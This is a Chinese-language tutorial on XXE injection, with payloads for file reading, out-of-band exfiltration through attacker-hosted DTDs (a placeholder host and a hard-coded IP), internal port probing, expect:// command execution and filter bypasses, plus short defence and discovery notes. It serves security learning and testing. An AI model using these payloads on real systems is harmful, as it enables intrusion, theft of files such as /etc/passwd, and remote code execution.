XML外部实体注入漏洞.
攻击者强制XML解析器去访问攻击者指定的资源内容(可能是本地也可是远程系统上的文件),导致可以加载外部的恶意文件 ,文件读取,命令执行,内网端口扫描,攻击内网网站的危害. 即用户传入的xml被解析成实体文件执行
XML
XML 指可扩展标记语言(eXtensible Markup Language)
与html的不同:
- XML被设计为传输和储存数据,焦点为数据的内容
- html被设计为显示数据,焦点为数据的外观
XML文档结构包括:
- XML声明
- DTD文档类型定义(可选)
- 文档元素
典型的XML文档:
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<!--文档元素-->
<foo>&xxe;</foo>
任意文件读取
一般可分为两种
有回显可直接在页面中看到payload的执行结果的现象.
无回显可以通过数据带外来判断有无注入.
有回显
恶意引入外部实体
直接读靶机文件:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY rabbit SYSTEM "file:///flag" >
]>
<user><username>&rabbit;</username><password>123</password></user>
恶意引入外部实体参数
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
%file;
]>
<test>&hhh;</test>
<!ENTITY hhh SYSTEM 'file:///etc/passwd'>
无回显
先用协议读取目标文件的内容,然后将内容以http请求发送到接受数据的服务器
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;
再访问服务器中的日志信息即可拿到数据
内网探测
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>
RCE
在应用内部配置不当,且php expect模块被加载到了受攻击的系统或处理XML内部的应用程序上,可以通过xxe执行代码.
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
响应
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
Bypass
关键字过滤(ENTITY``SYSTEM``file
)
使用编码方式绕过
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
协议绕过
http被过滤,可以采用data:// , file:// php://filter等其他协议绕过即可
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> ">
%a;
%b;
]>
<test>&hhh;</test>
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
利用场景
svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
excel
先用excel创建空白的xlsx,然后解压
mkdir XXE && cd XXE
unzip ../XXE.xlsx
将[Content_Types].xml
改成恶意xml,再压缩回去
zip -r ../poc.xlsx *
防护
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
其他语言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
过滤用户提交的XML数据
关键词:,SYSTEM和PUBLIC。
思路点
黑盒发现:
- 获取得到Conent-Type或数据类型为xml时,尝试进行xml语言payload进行测试
- 不管获取的Conent-Type类型或数据传输类型,均可以尝试修改后提交xxe
- xxe不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成payload被执行
白盒发现:
- 可通过应用功能追踪代码定位审计
- 可通过脚本特定函数搜索定位审计
- 可通过伪协议玩法绕过相关修复等
文章参考:https://security.tencent.com/index.php/blog/msg/69
https://xz.aliyun.com/t/3741?time__1311=n4%2Bxnii%3DoCqQqiKitiDsD7feKl31KKDBDrD7whID